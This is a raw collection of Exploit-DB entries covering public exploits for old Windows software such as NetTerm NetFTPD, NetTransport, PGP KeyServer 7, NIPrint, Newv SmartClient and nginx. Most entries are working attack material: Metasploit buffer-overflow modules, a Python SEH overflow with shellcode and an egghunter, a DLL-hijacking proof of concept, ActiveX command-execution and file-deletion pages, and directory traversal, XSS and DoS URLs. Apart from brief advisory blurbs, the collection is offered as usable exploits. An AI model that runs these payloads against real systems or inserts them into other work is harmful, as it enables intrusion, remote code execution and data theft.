deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23387
Description: netserve Web server 1.0.7 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-11-17
Author: nimber@designer.ru

Exploit:
source: https://www.securityfocus.com/bid/9059/info

It has been reported that NetServe may be prone to a directory traversal vulnerability that may allow an attacker to gain access to sensitive information. The issue presents itself due to insufficient sanitization of user-supplied input. An attacker may traverse outside the server root directory by using '../' character sequences.

NetServe Web Server version 1.0.7 is reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/../test/test.txt
Exploit-DB #34831
Description: NetStumbler 0.4 - 'mfc71esn.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-10
Author: Pepelux

Exploit:
// source: https://www.securityfocus.com/bid/43913/info

NetStumbler is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

NetStumbler 0.4.0 is vulnerable; other versions may also be affected. 

/*
=========================================================
NetStumbler - v0.4.0 DLL Hijacking Exploit (mfc71esn.dll) 
=========================================================

$ Program: NetStumbler
$ Version: 0.4.0
$ Download: http://www.netstumbler.com/
$ Date: 2010/10/08
 
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

How  to use : 

1> Compile this code as mfc80esn.dll
	gcc -shared -o mfc80esn.dll thiscode.c
2> Move DLL file to the directory where NetStumbler is installed
3> Open any file recognized by NetStumbler
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}
Exploit-DB #22909
Description: NetSuite 1.0/1.2 - HTTP Server Directory Traversal
Type: remote
Platform: windows
Date: 2003-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/8197/info

The HTTP component of NetSuite has been reported prone to a directory traversal vulnerability.

Various combinations of encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result. 

http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin.ini
http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin%2eini
http://www.example.com/\..\..\..\windows\win.ini
Exploit-DB #16735
Description: NetTerm NetFTPD - 'USER' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: netterm_netftpd_user.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the NetTerm NetFTPD
				application. This package is part of the NetTerm package.
				This module uses the USER command to trigger the overflow.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'References'     =>
				[
					[ 'CVE', '2005-1323'],
					[ 'OSVDB', '15865'],
					[ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
					[ 'BID', '13396'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => [ 'win' ],
			'Targets'        =>
				[
					[
						'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
						{
							'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
						},
					],
					[
						'Windows 2000 English',
						{
							'Ret'      => 0x75022ac4, # ws2help.dll
						},
					],
					[
						'Windows XP English SP0/SP1',
						{
							'Ret'      => 0x71aa32ad, # ws2help.dll
						},
					],
					[
						'Windows 2003 English',
						{
							'Ret'      => 0x7ffc0638, # peb magic :-)
						},
					],
					[
						'Windows NT 4.0 SP4/SP5/SP6',
						{
							'Ret'      => 0x77681799, # ws2help.dll
						},
					],
				],
			'DisclosureDate' => 'Apr 26 2005',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect
		if (banner =~ /NetTerm FTP server/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		# U          push ebp
		# S          push ebx
		# E          inc ebp
		# R          push edx
		# \x20\xC0   and al, al

		buf          = rand_text_english(8192, payload_badchars)
		buf[0, 1]    = "\xc0"
		buf[1, payload.encoded.length] = payload.encoded
		buf[1014, 4] = [ target.ret ].pack('V')

		send_cmd( ["USER #{buf}"] )
		send_cmd( ['HELP'] )

		handler
		disconnect
	end

end
Exploit-DB #16439
Description: NetTransport Download Manager 2.90.510 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-08-25
Author: Metasploit

Exploit:
##
# $Id: nettransport.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Egghunter
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in NetTransport Download Manager,
				part of the NetXfer suite. This module was tested
				successfully against version 2.90.510.
			},
			'Author' 	 =>
				[
					'Lincoln',
					'dookie',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10150 $',
			'References'     =>
				[
					[ 'OSVDB', '61435' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10911'],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh'
				},
			'Payload'        =>
				{
					'Space'    => 5000,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
					'DisableNops'     =>  'True'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jan 02 2010'))

		register_options(
			[
				Opt::RPORT(22222)
			], self.class)
	end

	def exploit
		connect

		magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
		magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
		magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"

		# Unleash the Egghunter!
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		sploit = magic_packet
		sploit << rand_text_alpha_upper(119)
		sploit << generate_seh_record(target.ret)
		sploit << make_nops(10)
		sploit << eh_stub
		sploit << make_nops(50)
		sploit << eh_egg

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #10911
Description: NetTransport Download Manager 2.90.510 - Remote Overflow (SEH)
Type: remote
Platform: windows
Date: 2010-01-02
Author: Lincoln

Exploit:
#!/usr/bin/python

#########################
#NetTransport Download Manager version:2.90.510 0day
#Discovered by Lincoln
#Tested on Windows XP SP3
#
#eMule file sharing protocol
#SEH overwrite, leaves only 60 or so bytes after p/p/r
#egghunter is used to find sc (calc.exe)
#
#root@BT4VM:~# ./netxfer.py 192.168.1.8 31491
#########################

import socket,sys

host = sys.argv[1]
port = int(sys.argv[2]) #eD2K port

# * windows/exec - 200 bytes
# * http://www.metasploit.com
# * EXITFUNC=thread, CMD=calc.exe
sc = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00")

#magic packet
buf = ("\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
"\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
"\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00")

#egg =  c00lc00l
egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x63\x30\x30\x6c\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

#p/p/r 10002a57 libssl.dll
buf+= "\x41" * 119 + "\xeb\x06\x90\x90" + "\x57\x2a\x00\x10" + "\x90" * 10 + egghunter
buf+= "\x90" * 50 + "c00lc00l" + "\x90" * 20 + sc + "\x90" * 2000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
print "\nExploit Sent!! Give the egghunter a few seconds to find the shellcode\r\n"
s.close()
Exploit-DB #19895
Description: NetWin DNews 5.3 Server - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-03-01
Author: Joey__

Exploit:
source: https://www.securityfocus.com/bid/1172/info

DNews News Server is a CGI application that gives access to auser's NNTP server over the web. There are many unchecked buffers in the program, some of which can be exploited directly from any browser. Supplying an overlylong value for the "group", "cmd" and "utag" variables, and possibly others, will overwrite their respective buffers. In this manner, arbitrary code can be executed on the remote target.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19895.zip
Exploit-DB #16823
Description: Network Associates PGP KeyServer 7 - LDAP Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: pgp_keyserver7.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the LDAP service that is
					part of the NAI PGP Enterprise product suite. This module was tested
					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
					used to find our payload - therefore you may wish to adjust WfsDelay.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11039 $',
			'References'     =>
				[
					[ 'CVE', '2001-1320' ],
					[ 'OSVDB', '4742' ],
					[ 'BID', '3046' ],
					[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
				],
			'DisclosureDate' => 'Jul 16 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(389)
			], self.class)
	end

	def exploit
		connect

		# - Maximum payload space is 102 so we use EggHunter instead.
		# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.

		hunter	= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg	= hunter[1]

		eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
		eggend = "\x80\x00"

		print_status("Sending trigger and hunter first...")

		buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
		buf << [target['Ret']].pack('V') + hunter[0]
		buf << "\x00"

		sock.put(buf)

		disconnect

		connect

		print_status("Sending hunted payload...")
		sock.put(eggstart+egg+eggend)

		handler
		disconnect
	end

end
Exploit-DB #21470
Description: NewAtlanta ServletExec/ISAPI 4.1 - File Disclosure
Type: remote
Platform: windows
Date: 2002-05-22
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/4795/info

ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.

ServletExec/ISAPI will disclose the contents of arbitrary files within the webroot directory by sending a request containing URL encoded directory traversal sequences. While this will cause the software to serve files within wwwroot that normally would not be served, it does not appear possible to exploit this condition to break out of the webroot.

http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5c\global.asa
Exploit-DB #21469
Description: NewAtlanta ServletExec/ISAPI 4.1 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2002-05-22
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/4793/info

ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.

ServletExec/ISAPI discloses the absolute path to the webroot directory when sent a specially formatted request without a trailing filename.

This type of sensitive information may aid in further attacks against the host running the vulnerable software.

http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/
Exploit-DB #35190
Description: Newv SmartClient 1.1.0 - 'NewvCommon.ocx' ActiveX Control Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2011-01-10
Author: wsn1983

Exploit:
source: https://www.securityfocus.com/bid/45751/info

The Newv SmartClient ActiveX control is prone to multiple insecure-method vulnerabilities and a stack-based buffer-overflow vulnerability.

Successfully exploiting these issues allows remote attackers to create or overwrite arbitrary local files, to delete arbitrary files, and to execute arbitrary code. Failed exploit attempts will result in a denial-of-service condition.

Newv SmartClient 1.1.0.0 is vulnerable; other versions may also be affected. 

NewV: NewvCommon.ocx arbitrary command execution via the Runcommand attribute

POC 1:

<html> 
<head> 
<script language=&#039;vbscript&#039;> 
arg1 = "calc.exe" 
</script> 
</head> 
<object classid=&#039;clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9&#039; id=&#039;target&#039; /> 
</object> 
<script language=&#039;vbscript&#039;> 
target.RunCommand arg1 
</script> 
</html> 

#####################################################################################

NewvCommon.ocx ActiveX Insecure Method Vulnerability.

POC 2:

Function DelFile (
  ByVal FilePath  As Variant 
)  As String


<html>
<head>
<script language=&#039;vbscript&#039;>
arg1 = "c:\\test.txt"
</script>
</head>
<object classid=&#039;clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9&#039; id=&#039;target&#039; />
</object>
<script language=&#039;vbscript&#039;>
target.DelFile arg1 
</script>
</html>

########################################################################################

NewvCommon.ocx ActiveX Stack-Based Buffer Overflow Vulnerability

POC 2:

Function WriteTextFile (
  ByVal str  As Variant , 
  ByVal FilePath  As Variant 
)  As String


0:000> g
(d2c.f84): Unknown exception - code 0eedfade (first chance)
(d2c.f84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0013d8c8 ebp=0013d8e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
<Unloaded_na.dll>+0x41414140:
41414141 ??              ???
Exploit-DB #23877
Description: NexGen FTP Server 1.0/2.x - Directory Traversal
Type: remote
Platform: windows
Date: 2004-03-24
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/9970/info

It has been reported that the Nexgen FTP server is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize file request strings from authenticated users.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

ls c:\*.*
ls ..
ls \..ls /../
dir c:dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File"
Exploit-DB #29814
Description: NextPage LivePublish 2.02 - 'LPEXT.dll' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2007-04-03
Author: Igor Monteiro Vieira

Exploit:
source: https://www.securityfocus.com/bid/23270/info

LivePublish is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.02 is vulnerable; other versions may also be affected. 

http://www.example.com/lpext.dll?f=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #13818
Description: Nginx 0.8.36 - Source Disclosure / Denial of Service
Type: remote
Platform: windows
Date: 2010-06-11
Author: Dr_IDE

Exploit:
Issue 1: (Remote Source Disclosure)
- Description -
 
nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available.
 
nginx on Windows is vulnerable to a remote source disclosure attack.
 
- Technical Details - (Source Download)

http://[ webserver IP][:port]index.html::$DATA


Issue 2: (Remote DoS (w/ Memory Corruption))
- Description -

nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables.

- Technical Details - (Remote DoS)

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20

These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to.
Exploit-DB #16336
Description: NIPrint LPD - Request Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-12-25
Author: Metasploit

Exploit:
##
# $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NIPrint LPD Request Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the
				Network Instrument NIPrint LPD service. Inspired by
				Immunity's VisualSploit :-)
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11407 $',
			'References'     =>
				[
					['CVE', '2003-1141'],
					['OSVDB', '2774'],
					['BID', '8968'],
					['URL',   'http://www.immunitysec.com/documentation/vs_niprint.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
					['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
					['Windows 7 x64', { 'Ret' => 0x763B35DD }],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Nov 05 2003'))

		register_options(
			[
				Opt::RPORT(515)
			], self.class )
	end

	def exploit
		connect

		req = rand_text_alphanumeric(8192)
		req[  0, 2] = "\xeb\x33"
		req[ 49, 4] = [target.ret].pack('V')
		req[ 53, payload.encoded.length ] = payload.encoded

		print_status("Trying target #{target.name}...")
		sock.put(req)

		handler
		disconnect
	end

end
Exploit-DB #23148
Description: Nokia Electronic Documentation 5.0 - Connection redirection
Type: remote
Platform: windows
Date: 2003-09-15
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/8625/info

A vulnerability has been discovered in Nokia Electronic Documentation (NED) that may allow an attacker to redirect connections to a third party system. The problem likely occurs due to the NED server failing to sufficiently verify hosts provided within specific HTTP requests. As a result, an attacker may be capable of making a request that would cause data to be redirected to a third party system.

This may allow an attacker to interact with an otherwise inaccessible system, or potentially hide the origin of attacks launched against other targets.

http://www.example.org/docs/NED?action=retrieve&location=http://www.target.com/